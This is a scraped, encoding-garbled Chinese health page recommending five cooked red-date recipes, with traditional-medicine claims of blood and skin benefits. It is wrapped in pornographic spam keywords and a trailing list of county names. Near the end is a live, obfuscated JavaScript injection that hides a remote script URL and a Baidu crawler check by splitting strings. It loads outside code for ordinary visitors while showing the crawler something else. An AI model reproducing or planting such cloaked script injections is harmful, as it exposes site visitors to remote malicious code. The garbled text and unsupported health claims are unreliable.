亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 飲食 > 健康飲食 > 正文

推薦5種紅棗熟吃的方法

2016-01-23 16:13:22  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:紅棗屬于溫?zé)嵝允澄?,富含維生素A、維生素C,賴氨酸、精氨酸等氨基酸,以及鈣、鐵等36種微量元素,具有補(bǔ)中益氣、養(yǎng)血生津等作用。那么,紅棗究竟是生吃好還是熟吃好呢?

推薦5種紅棗熟吃的方法

推薦5種紅棗熟吃的方法

紅棗是進(jìn)補(bǔ)最常見的食物之一,并且不同的吃法會(huì)有不同的功效。那么,紅棗究竟是生吃好還是熟吃好呢?其實(shí),相對(duì)一些人群來說熟吃紅棗的功效會(huì)更多哦。今天,就來為大家具體介紹介紹吧。

紅棗熟吃好嗎

紅棗屬于溫?zé)嵝允澄铮缓S生素A、維生素C,賴氨酸、精氨酸等氨基酸,以及鈣、鐵等36種微量元素,具有補(bǔ)中益氣、養(yǎng)血生津等作用。每100克紅棗中維生素C的含量高達(dá)243毫克。生吃紅棗,可保留棗中更多的維生素C,具有改善毛細(xì)血管壁功能,以及幫助消除皮膚上的淤斑的功效。雖然熟吃紅棗可能會(huì)導(dǎo)致維生素C等不耐熱的維生素流失,但鐵、鉀等礦物質(zhì)仍然會(huì)被保留,可達(dá)到補(bǔ)血作用。脾胃虛弱者生吃紅棗會(huì)分泌過多胃酸,導(dǎo)致胃痛。因此,建議熟吃紅棗。

接下來,就來看看如何熟吃紅棗吧。

紅棗熟吃5種方法

1、用紅棗20枚,雞蛋1個(gè),紅糖30克,水燉服,每日1次,適用于產(chǎn)后調(diào)養(yǎng),有益氣補(bǔ)血之功效。紅棗有補(bǔ)中益氣,養(yǎng)血安神之功效。紅棗中的高維生素含量,對(duì)人體毛細(xì)血管有健全的作用。

2、生姜500克、紅棗250克、鹽100克、甘草150克、丁香25克、沉香25克。共搗成粗末和勻備用。每次15--25克,清晨煎服或泡水代茶飲,每日數(shù)次。此茶具有補(bǔ)脾、養(yǎng)血、健胃、安神、解郁之功效,久服令人容顏白嫩、皮膚細(xì)滑、皺紋減少。

3、紅棗50克、粳米100克、菊花15克,一同放入鍋內(nèi)加清水適量,煮至濃稠時(shí),放入適量紅糖調(diào)味食用。此方具有健脾補(bǔ)血、清肝明目之功效;長期食用可使面部膚色紅潤,起到保健防病的作用。

4、紅棗、花生、桂圓,再加上紅糖,加水在鍋里慢慢地?zé)?,燉得爛爛的,經(jīng)常吃,補(bǔ)血的效果很好。

5、紅棗、紅豆、放入糯米里一起熬粥,紅豆比較不易燒爛,可以先煮紅豆,紅豆煮爛了,再放入糯米,紅棗一起燒,也是一道補(bǔ)血的佳肴。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
运城市| 嘉峪关市| 通州市| 佳木斯市| 砀山县| 兴山县| 康乐县| 吉木萨尔县| 彝良县| 庆元县| 新邵县| 康乐县| 彭水| 安远县| 错那县| 灌阳县| 武安市| 伽师县| 五河县| 石首市| 枝江市| 新沂市| 六枝特区| 彭州市| 西充县| 乌恰县| 常州市| 淮滨县| 山西省| 阳高县| 兴山县| 筠连县| 镇坪县| 无极县| 娄底市| 丰台区| 云梦县| 怀远县| 霞浦县| 剑阁县| 灵寿县|